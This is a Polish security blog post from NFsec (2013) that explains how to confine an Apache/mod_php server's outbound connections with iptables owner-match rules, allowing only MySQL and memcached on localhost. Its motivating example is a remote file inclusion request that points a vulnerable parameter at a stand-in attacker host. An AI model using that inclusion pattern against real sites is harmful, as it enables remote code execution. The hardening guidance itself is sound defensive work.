NFsec Logo

Apache – blokowanie połączeń wychodzących aplikacji z iptables

25/11/2013 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 424, ilość słów: 269)

S

erwer WWW głównie akceptuje połączenia przychodzące od użytkowników, a sam niekiedy potrzebuje nawiązać nowe połączenia z zewnętrznymi zasobami np. bazą danych. Dlatego dobrze znając architekturę aplikacji – warto ograniczyć jej połączenia wychodzące tylko do tych, które są jej rzeczywiście niezbędne. To sprawia, że tak wyprofilowana sieciowo aplikacja staje się trudniejsza do zdobycia na przykład przez atakującego, który chce wykorzystać atak z wykorzystaniem zewnętrznych zasobów:

/podatny_kod.php?bug=http://evilhacker.net/exploit?


Ograniczenia takie możemy osiągnąć za pomocą iptables. Za przykład możemy wziąć serwer Apache z mod_php oraz aplikacją, która musi łączyć się z bazą danych MySQL oraz serwerem memcache do obsługi sesji:

modprobe ip_tables
modprobe ip_conntrack
modprobe ipt_owner

# Definiujemy nowy łańcuch.
iptables -N httpd_jail

# Wszystkie połączenia wychodzące użytkownika apache
# od teraz powinny być kierowane do nowego łańcucha.
iptables -A OUTPUT -m owner --uid-owner apache -j httpd_jail

# Definiujemy ograniczenia połączeń:
# - Zezwalamy na już nawiązane połączenia:
iptables -A httpd_jail -m state --state ESTABLISHED,RELATED -j ACCEPT

# - Zezwalamy na połączenie do MySQL przez localhost:
iptables -A httpd_jail -p tcp --syn -d 127.0.0.1 --dport 3306 -j ACCEPT

# - Zezwalamy na połączenie do memcached przez localhost:
iptables -A httpd_jail -p tcp --syn -d 127.0.0.1 --dport 11211 -j ACCEPT

# - Blokujemy resztę.
iptables -A httpd_jail -j REJECT

Oczywiście powyższe reguły trzeba dostosować do własnej aplikacji (udostępnienie mniejszej lub większej ilości portów) oraz już istniejących reguł firewall’a. Reguły możemy sprawdzić poprzez zmianę powłoki z /sbin/nologin na /bin/sh dla użytkownika apache oraz próbie wykonania połączeń na te i inne porty niż zdefiniowane w regułach.

Więcej informacji: Apache Hardening

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , ,

Komentowanie tego wpisu jest zablokowane.